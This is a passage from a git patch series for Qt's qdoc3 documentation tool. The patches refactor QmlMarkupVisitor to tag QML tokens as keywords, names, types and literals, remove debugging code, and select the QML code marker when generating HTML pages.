"v**" << cursor << start; quint32 finish; if (last.isValid()) finish = last.end(); else finish = first.end(); - if (start > cursor) { - QString extra = source.mid(cursor, start - cursor); - if (extra.trimmed().isEmpty()) - output += extra; - else - output += "<<<" + extra + ">>>"; - //qDebug() << "+++" << source.mid(cursor, start - cursor); - cursor = start; - } + if (cursor < start) + addExtra(cursor, start); + else if (cursor > start) + debug += QString("%1 %2 %3 x\n").arg(sourceText(first)).arg(cursor).arg(start); QString text = source.mid(start, finish - start); - //qDebug() << "-->" << text; write(text); indent -= 1; - output += text; - cursor += text.length(); + output += protect(text); + cursor = finish; } void QmlMarkupVisitor::write(const QString &text) { - if (showDebug) - qDebug() << QString().fill(QChar(' '), indent) << text; + debug += QString().fill(QChar(' '), indent) + text + QLatin1String("\n"); indent += 1; } @@ -152,8 +220,8 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) write(""); addVerbatim(uiimport->importToken); if (!uiimport->importUri) - addVerbatim(uiimport->fileNameToken); - return true; + addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile")); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) @@ -161,7 +229,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) endWrite(""); addVerbatim(uiimport->versionToken); addVerbatim(uiimport->asToken); - addVerbatim(uiimport->importIdToken); + addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile")); addVerbatim(uiimport->semicolonToken); //endWrite(""); } @@ -174,23 +242,23 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) addVerbatim(member->readonlyToken); addVerbatim(member->propertyToken); addVerbatim(member->typeModifierToken); - addVerbatim(member->typeToken); - addVerbatim(member->identifierToken); + addMarkedUpToken(member->typeToken, QLatin1String("type")); + addMarkedUpToken(member->identifierToken, QLatin1String("name")); addVerbatim(member->colonToken); QDeclarativeJS::AST::Node::accept(member->binding, this); } else { addVerbatim(member->propertyToken); addVerbatim(member->typeModifierToken); - addVerbatim(member->typeToken); + addMarkedUpToken(member->typeToken, QLatin1String("type")); //addVerbatim(member->identifierToken); QDeclarativeJS::AST::Node::accept(member->parameters, this); } - return true; + addVerbatim(member->semicolonToken); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) { - addVerbatim(member->semicolonToken); endWrite(""); } @@ -279,7 +347,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) write(""); for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->member, this); - addVerbatim(it->commaToken); + //addVerbatim(it->commaToken); } return false; } @@ -292,7 +360,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) { write(""); - addVerbatim(id->identifierToken); + addMarkedUpToken(id->identifierToken, QLatin1String("name")); return false; } @@ -317,7 +385,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) { write(""); - addVerbatim(formal->identifierToken); + addMarkedUpToken(formal->identifierToken, QLatin1String("name")); addVerbatim(formal->asToken); addVerbatim(formal->aliasToken); return false; @@ -344,8 +412,8 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) { write(""); - addVerbatim(identifier->identifierToken); - return true; + addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) @@ -357,7 +425,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) { write(""); - addVerbatim(null->nullToken); + addMarkedUpToken(null->nullToken, QLatin1String("number")); return true; } @@ -370,7 +438,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) { write(""); - addVerbatim(literal->trueToken); + addMarkedUpToken(literal->trueToken, QLatin1String("number")); return true; } @@ -383,7 +451,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) { write(""); - addVerbatim(literal->falseToken); + addMarkedUpToken(literal->falseToken, QLatin1String("number")); return true; } @@ -396,10 +464,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) { //write(""); - addVerbatim(literal->literalToken); - return true; + addMarkedUpToken(literal->literalToken, QLatin1String("number")); + return false; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) { //endWrite(""); @@ -409,10 +477,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) { //write(""); - addVerbatim(literal->literalToken); + addMarkedUpToken(literal->literalToken, QLatin1String("string")); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) { //endWrite(""); @@ -466,7 +534,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) write(""); for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->expression, this); - addVerbatim(it->commaToken); + //addVerbatim(it->commaToken); } QDeclarativeJS::AST::Node::accept(list->elision, this); return false; @@ -571,7 +639,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *express write(""); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->dotToken); - addVerbatim(expression->identifierToken); + addMarkedUpToken(expression->identifierToken, QLatin1String("name")); return false; } @@ -587,12 +655,13 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expressio addVerbatim(expression->newToken); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->lparenToken); - return true; + QDeclarativeJS::AST::Node::accept(expression->arguments, this); + addVerbatim(expression->rparenToken); + return false; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) { - addVerbatim(expression->rparenToken); endWrite(""); } @@ -745,7 +814,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expressi addVerbatim(expression->minusToken); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) { endWrite(""); @@ -758,7 +827,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) addVerbatim(expression->tildeToken); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) { endWrite(""); @@ -771,7 +840,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) addVerbatim(expression->notToken); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) { endWrite(""); @@ -782,7 +851,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) { write(""); QDeclarativeJS::AST::Node::accept(expression->left, this); - addVerbatim(expression->operatorToken); + addMarkedUpToken(expression->operatorToken, QLatin1String("op")); QDeclarativeJS::AST::Node::accept(expression->right, this); return false; } @@ -798,7 +867,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *express write(""); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) { endWrite(""); @@ -816,7 +885,6 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) endWrite(""); } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) { write(""); @@ -874,7 +942,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) { write(""); - addVerbatim(declaration->identifierToken); + addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); QDeclarativeJS::AST::Node::accept(declaration->expression, this); return false; } @@ -914,11 +982,12 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statem bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) { write(""); - addVerbatim(statement->ifToken); + addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->ok, this); + //addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); //addVerbatim(statement->elseToken); ### this token referred to the wrong source text for some reason QDeclarativeJS::AST::Node::accept(statement->ko, this); return false; @@ -933,9 +1002,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) { write(""); - addVerbatim(statement->doToken); + addMarkedUpToken(statement->doToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); - addVerbatim(statement->whileToken); + addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); @@ -954,7 +1023,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) write(""); return true; } - + void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) { endWrite(""); @@ -964,7 +1033,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); addVerbatim(statement->firstSemicolonToken); @@ -985,9 +1054,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); - addVerbatim(statement->varToken); + addMarkedUpToken(statement->varToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->declarations, this); addVerbatim(statement->firstSemicolonToken); QDeclarativeJS::AST::Node::accept(statement->condition, this); @@ -1007,14 +1076,14 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); addVerbatim(statement->inToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) @@ -1026,15 +1095,15 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) { write(""); - addVerbatim(statement->forToken); + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); - addVerbatim(statement->varToken); + addMarkedUpToken(statement->varToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->declaration, this); addVerbatim(statement->inToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) @@ -1046,10 +1115,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) { write(""); - addVerbatim(statement->continueToken); - addVerbatim(statement->identifierToken); + addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) @@ -1061,10 +1130,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) { write(""); - addVerbatim(statement->breakToken); - addVerbatim(statement->identifierToken); + addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) @@ -1076,7 +1145,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) { write(""); - addVerbatim(statement->returnToken); + addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); return true; } @@ -1090,7 +1159,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) { write(""); - addVerbatim(statement->withToken); + addMarkedUpToken(statement->withToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addVerbatim(statement->rparenToken); return true; @@ -1105,7 +1174,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) { write(""); - addVerbatim(block->lbraceToken, block->lbraceToken); + addVerbatim(block->lbraceToken); return true; } @@ -1119,7 +1188,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) { write(""); - addVerbatim(statement->switchToken); + addMarkedUpToken(statement->switchToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); @@ -1146,7 +1215,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) { write(""); - addVerbatim(clause->caseToken); + addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(clause->expression, this); addVerbatim(clause->colonToken); QDeclarativeJS::AST::Node::accept(clause->statements, this); @@ -1162,7 +1231,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) { write(""); - addVerbatim(clause->defaultToken, clause->defaultToken); + addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); addVerbatim(clause->colonToken, clause->colonToken); return true; } @@ -1176,10 +1245,10 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) { write(""); - addVerbatim(statement->identifierToken); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->colonToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); - return true; + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) @@ -1191,7 +1260,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) { write(""); - addVerbatim(statement->throwToken); + addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); return false; @@ -1206,11 +1275,11 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) { write(""); - addVerbatim(c->catchToken, c->catchToken); - addVerbatim(c->lparenToken, c->lparenToken); - addVerbatim(c->identifierToken, c->identifierToken); - addVerbatim(c->rparenToken, c->rparenToken); - return true; + addMarkedUpToken(c->catchToken, QLatin1String("keyword")); + addVerbatim(c->lparenToken); + addMarkedUpToken(c->identifierToken, QLatin1String("name")); + addVerbatim(c->rparenToken); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) @@ -1222,7 +1291,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) { write(""); - addVerbatim(f->finallyToken); + addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(f->statement, this); return false; } @@ -1236,7 +1305,7 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) { write(""); - addVerbatim(statement->tryToken); + addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this); @@ -1252,8 +1321,8 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) { write(""); - addVerbatim(expression->functionToken); - addVerbatim(expression->identifierToken); + addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); + addMarkedUpToken(expression->identifierToken, QLatin1String("name")); addVerbatim(expression->lparenToken); QDeclarativeJS::AST::Node::accept(expression->formals, this); addVerbatim(expression->rparenToken); @@ -1271,8 +1340,8 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *express bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) { write(""); - addVerbatim(declaration->functionToken); - addVerbatim(declaration->identifierToken); + addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); + addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); addVerbatim(declaration->lparenToken); QDeclarativeJS::AST::Node::accept(declaration->formals, this); addVerbatim(declaration->rparenToken); @@ -1290,9 +1359,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) { write(""); - addVerbatim(list->commaToken, list->commaToken); - addVerbatim(list->identifierToken, list->identifierToken); - return true; + addVerbatim(list->commaToken); + addMarkedUpToken(list->identifierToken, QLatin1String("name")); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) @@ -1346,10 +1415,12 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) endWrite(""); } -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *) +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { write(""); - return true; + QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); + QDeclarativeJS::AST::Node::accept(definition->initializer, this); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 86e1ac2..01b0acf 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -52,7 +52,7 @@ QT_BEGIN_NAMESPACE class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor { public: - QmlMarkupVisitor(const QString &code, bool debug = false); + QmlMarkupVisitor(const QString &code, QDeclarativeJS::Engine *engine); virtual ~QmlMarkupVisitor(); QString markedUpCode(); @@ -317,7 +317,11 @@ public: virtual bool visit(QDeclarativeJS::AST::UiParameterList *); virtual void endVisit(QDeclarativeJS::AST::UiParameterList *); +protected: + QString protect(const QString &string); + private: + void addExtra(quint32 start, quint32 finish); void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, const QString &text); void addVerbatim(QDeclarativeJS::AST::SourceLocation first, @@ -326,11 +330,13 @@ private: void write(const QString &text); void endWrite(const QString &text); + QDeclarativeJS::Engine *engine; QString source; QString output; quint32 cursor; + quint32 commentIndex; int indent; - bool showDebug; + QString debug; }; QT_END_NAMESPACE -- cgit v0.12 From 88a86d8e2c82edf53b56afcc2f80fffd32a18e49 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 30 Nov 2010 18:28:27 +0100 Subject: Made more adjustments to node handling and removed debugging statements. --- tools/qdoc3/qmlmarkupvisitor.cpp | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 4564dc5..387b562 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -39,7 +39,6 @@ ** ****************************************************************************/ -#include #include #include #include "private/qdeclarativejsast_p.h" @@ -57,7 +56,7 @@ QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine indent = 0; cursor = 0; commentIndex = 0; - debug += QString("Comments %1\n").arg(engine->comments().length()); + QString("Comments %1\n").arg(engine->comments().length()); } QmlMarkupVisitor::~QmlMarkupVisitor() @@ -94,8 +93,6 @@ QString QmlMarkupVisitor::markedUpCode() if (cursor < source.length()) addExtra(cursor, source.length()); - //qDebug() << debug; - qDebug() << output; return output; } @@ -157,7 +154,7 @@ void QmlMarkupVisitor::addMarkedUpToken( if (cursor < location.offset) addExtra(cursor, location.offset); else if (cursor > location.offset) - debug += QString("%1 %2\n").arg(cursor).arg(location.offset); + return; output += QString(QLatin1String("<@%1>%2")).arg(tagName, protect(sourceText(location)), tagName); cursor += location.length; @@ -184,7 +181,7 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, if (cursor < start) addExtra(cursor, start); else if (cursor > start) - debug += QString("%1 %2 %3 x\n").arg(sourceText(first)).arg(cursor).arg(start); + return; QString text = source.mid(start, finish - start); write(text); @@ -195,11 +192,10 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, void QmlMarkupVisitor::write(const QString &text) { - debug += QString().fill(QChar(' '), indent) + text + QLatin1String("\n"); indent += 1; } -void QmlMarkupVisitor::endWrite(const QString &) +void QmlMarkupVisitor::endWrite(const QString &text) { indent -= 1; } @@ -877,6 +873,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) { write(""); + QDeclarativeJS::AST::Node::accept(expression->left, this); + addVerbatim(expression->commaToken); + QDeclarativeJS::AST::Node::accept(expression->right, this); return true; } @@ -987,9 +986,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->ok, this); - //addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); - //addVerbatim(statement->elseToken); ### this token referred to the wrong source text for some reason - QDeclarativeJS::AST::Node::accept(statement->ko, this); + if (statement->ko) { + addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->ko, this); + } return false; } -- cgit v0.12 From eae5f69a23d46d237ee2021319d093c580dff679 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 11:57:35 +0100 Subject: Removed an unused function. --- tools/qdoc3/main.cpp | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index ac1c5de..68b5370 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -95,21 +95,6 @@ static QStringList defines; static QHash trees; /*! - Find the Tree for language \a lang and return a pointer to it. - If there is no Tree for language \a lang in the Tree table, add - a new one. The Tree table is indexed by \a lang strings. - */ -static Tree* treeForLanguage(const QString &lang) -{ - Tree* tree = trees.value(lang); - if (tree == 0) { - tree = new Tree; - trees.insert( lang, tree ); - } - return tree; -} - -/*! Print the help message to \c stdout. */ static void printHelp() -- cgit v0.12 From 0dd0313a194c73508a4fbbf69c716407b781cc6e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 12:04:46 +0100 Subject: Select the appropriate code marker for each file. --- tools/qdoc3/generator.cpp | 2 +- tools/qdoc3/htmlgenerator.cpp | 10 ++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 0f2454e..1b17452 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -514,7 +514,7 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); text << Atom(Atom::Code, code); - generateText(text, fake, marker); + generateText(text, fake, CodeMarker::markerForFileName(fake->name())); } } } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 5f70de4..456654f 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -1341,8 +1341,8 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, } /*! - Generate the html page for a qdoc file that doesn't map - to an underlying c++ file. + Generate the HTML page for a qdoc file that doesn't map + to an underlying C++ file. */ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) { @@ -1360,6 +1360,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) else if (fake->subType() == Node::QmlBasicType) { fullTitle = "QML Basic Type: " + fullTitle; htmlTitle = fullTitle; + + // Replace the marker with a QML code marker. + marker = CodeMarker::markerForLanguage(QLatin1String("QML")); } generateHeader(htmlTitle, fake, marker); @@ -1373,6 +1376,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) qml_cn = static_cast(fake); sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); generateTableOfContents(fake,marker,§ions); + + // Replace the marker with a QML code marker. + marker = CodeMarker::markerForLanguage(QLatin1String("QML")); } else if (fake->name() != QString("index.html")) generateTableOfContents(fake,marker,0); -- cgit v0.12 From 76152172c04a40dc9e27423ec092f23da4d628dc Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 12:05:35 +0100 Subject: Trivial comment fix. --- tools/qdoc3/pagegenerator.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 60b40c9..cde4b45 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -299,7 +299,7 @@ QTextStream &PageGenerator::out() } /*! - Recursive writing of html files from the root \a node. + Recursive writing of HTML files from the root \a node. */ void PageGenerator::generateInnerNode(const InnerNode* node) -- cgit v0.12 From d877b3d3b34d4f5c6f9683c54d54e54a37a39998 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 12:30:19 +0100 Subject: Fixed/adjusted handling of UiPublicMember nodes. Removed debugging code. --- tools/qdoc3/qmlmarkupvisitor.cpp | 202 +-------------------------------------- tools/qdoc3/qmlmarkupvisitor.h | 2 - 2 files changed, 5 insertions(+), 199 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 387b562..6335ab6 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -56,7 +56,6 @@ QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine indent = 0; cursor = 0; commentIndex = 0; - QString("Comments %1\n").arg(engine->comments().length()); } QmlMarkupVisitor::~QmlMarkupVisitor() @@ -90,7 +89,7 @@ QString QmlMarkupVisitor::protect(const QString& str) QString QmlMarkupVisitor::markedUpCode() { - if (cursor < source.length()) + if (int(cursor) < source.length()) addExtra(cursor, source.length()); return output; @@ -184,36 +183,22 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, return; QString text = source.mid(start, finish - start); - write(text); indent -= 1; output += protect(text); cursor = finish; } -void QmlMarkupVisitor::write(const QString &text) -{ - indent += 1; -} - -void QmlMarkupVisitor::endWrite(const QString &text) -{ - indent -= 1; -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiProgram *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiProgram *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) { - write(""); addVerbatim(uiimport->importToken); if 